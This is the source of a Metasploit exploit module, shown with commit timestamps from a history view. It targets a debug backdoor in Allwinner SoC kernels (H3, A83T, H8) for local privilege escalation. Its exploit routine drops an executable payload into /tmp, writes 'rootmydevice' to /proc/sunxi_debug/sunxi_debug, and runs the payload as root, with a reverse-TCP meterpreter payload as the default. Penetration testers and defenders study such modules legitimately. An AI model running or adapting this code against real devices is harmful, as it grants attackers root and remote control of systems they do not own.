metasploit-framework/modules/exploits/multi/local/allwinner_backdoor.rb

84 lines
2.8 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-05-18 01:58:32 +00:00
require "msf/core"
2016-09-23 02:08:24 +00:00
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Post::Linux::Priv
2016-09-23 02:08:24 +00:00
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
"Name" => "Allwinner 3.4 Legacy Kernel Local Privilege Escalation",
2016-05-18 01:58:32 +00:00
"Description" => %q{
2016-05-18 02:07:33 +00:00
This module attempts to exploit a debug backdoor privilege escalation in
Allwinner SoC based devices.
Vulnerable Allwinner SoC chips: H3, A83T or H8 which rely on Kernel 3.4
Vulnerable OS: all OS images available for Orange Pis,
any for FriendlyARM's NanoPi M1,
SinoVoip's M2+ and M3,
Cuebietech's Cubietruck +
Linksprite's pcDuino8 Uno
Exploitation may be possible against Dragon (x10) and Allwinner Android tablets
},
2016-05-18 01:58:32 +00:00
"License" => MSF_LICENSE,
"Author" =>
[
2016-05-18 01:58:32 +00:00
"h00die <mike@stcyrsecurity.com>", # Module
"KotCzarny" # Discovery
],
2016-05-18 01:58:32 +00:00
"Platform" => [ "android", "linux" ],
"DisclosureDate" => "Apr 30 2016",
2016-09-23 02:08:24 +00:00
"DefaultOptions" => {
"payload" => "linux/armle/mettle/reverse_tcp"
},
"Privileged" => true,
"Arch" => ARCH_ARMLE,
2016-05-18 01:58:32 +00:00
"References" =>
[
2016-05-18 01:58:32 +00:00
[ "URL", "http://forum.armbian.com/index.php/topic/1108-security-alert-for-allwinner-sun8i-h3a83th8/"],
[ "URL", "https://webcache.googleusercontent.com/search?q=cache:l2QYVUcDflkJ:" \
"https://github.com/allwinner-zh/linux-3.4-sunxi/blob/master/arch/arm/mach-sunxi/sunxi-debug.c+&cd=3&hl=en&ct=clnk&gl=us"],
2016-05-18 01:58:32 +00:00
[ "URL", "http://irclog.whitequark.org/linux-sunxi/2016-04-29#16314390"]
],
2016-09-23 02:08:24 +00:00
"SessionTypes" => [ "shell", "meterpreter" ],
'Targets' =>
[
[ 'Auto', { } ]
],
'DefaultTarget' => 0,
))
end
2016-09-23 02:08:24 +00:00
def check
backdoor = '/proc/sunxi_debug/sunxi_debug'
if file_exist?(backdoor)
2016-09-23 02:08:24 +00:00
Exploit::CheckCode::Appears
else
Exploit::CheckCode::Safe
end
end
def exploit
backdoor = '/proc/sunxi_debug/sunxi_debug'
if file_exist?(backdoor)
pl = generate_payload_exe
exe_file = "/tmp/#{rand_text_alpha(5)}.elf"
vprint_good "Backdoor Found, writing payload to #{exe_file}"
write_file(exe_file, pl)
cmd_exec("chmod +x #{exe_file}")
vprint_good 'Escalating'
cmd_exec("echo rootmydevice > #{backdoor}; #{exe_file}")
else
2016-05-18 01:58:32 +00:00
print_error "Backdoor #{backdoor} not found."
end
end
end